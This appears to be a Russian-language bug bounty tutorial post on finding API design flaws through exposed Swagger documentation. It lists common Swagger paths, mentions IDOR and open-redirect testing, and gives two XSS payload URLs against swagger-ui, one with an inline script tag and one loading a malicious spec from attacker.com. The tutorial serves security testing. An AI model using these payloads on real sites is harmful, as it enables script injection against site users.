#37 Bug Bounty v.2 — Документация по API. Swagger API. XSS
Здравствуйте, дорогие друзья.
Подавляющее большинство уязвимостей, которые я нахожу в API, являются результатом конструктивных ошибок. Если у вас есть доступ к документации по API, их довольно легко найти. Например, предположим, что существует конечная точка сброса пароля, которая принимает идентификатор пользователя и новый пароль в качестве входных данных. Прямо сейчас вы, возможно, думаете, что мне следует проверить IDOR, чтобы узнать, могу ли я сбросить пароли других пользователей, и это было бы правильно. Эти типы конструктивных недостатков относительно легко обнаружить, если у вас есть документация по API, в которой перечислены все доступные конечные точки и их параметры. Другой вариант — вручную проверить трафик, чтобы найти эту конечную точку, но наличие доументации по API значительно упрощает задачу.
Swagger API
Swagger — очень популярный язык документации по API для описания RESTful API выраженный с помощью JSON. Если я вижу приложение, использующее REST API, я обычно начинаю искать конечные точки swagger, как показано ниже:
● /api
● /swagger/index.html
● /swagger/v1/swagger.json
● /swagger-ui.html
● /swagger-resources
Как показано выше, в документации swagger указаны имя, путь и аргументы для каждого возможного вызова api. При тестировании функциональности api это золотая жила. Нажатие на запрос расширит его, и вы сможете выполнить все свои тесты прямо там, как показано ниже.:
Увидев изображение выше, я сразу же подумываю протестировать небезопасный редирект из-за наличия параметра redirect. Обычно, просматривая документацию, я ищу недостатки в дизайне, проблемы с аутентификацией и топ-10 OWASP. Я лично обнаружил скрытые возможности сброса паролей, которые легко обойти, скрытые функции администратора, позволяющие управлять всем сайтом без проверки подлинности, внедрение sql и многое другое.
XSS
Swagger — популярный инструмент, поэтому в нем обязательно должны быть какие-то известные эксплойты. Я лично обнаружил отраженный XSS в нескольких конечных точках swagger во время тестирования. Некоторое время назад кто-то обнаружил ошибку XSS в параметре url, как показано ниже:
● http://your-swagger-url/?url=%3Cscript%3Ealert(atob(%22SGVyZSBpcyB0aGUgWFNT%22))%3C/script%3
● https://github.com/swagger-api/swagger-ui/issues/1262
Вы также можете получить постоянный XSS, если предоставите ему вредоносный файл для анализа, как показано ниже:
● http://your-swagger-url/?url=https://attacker.com/xsstest.json
● https://github.com/swagger-api/swagger-ui/issues/3847
На этом все. Всем хорошего дня!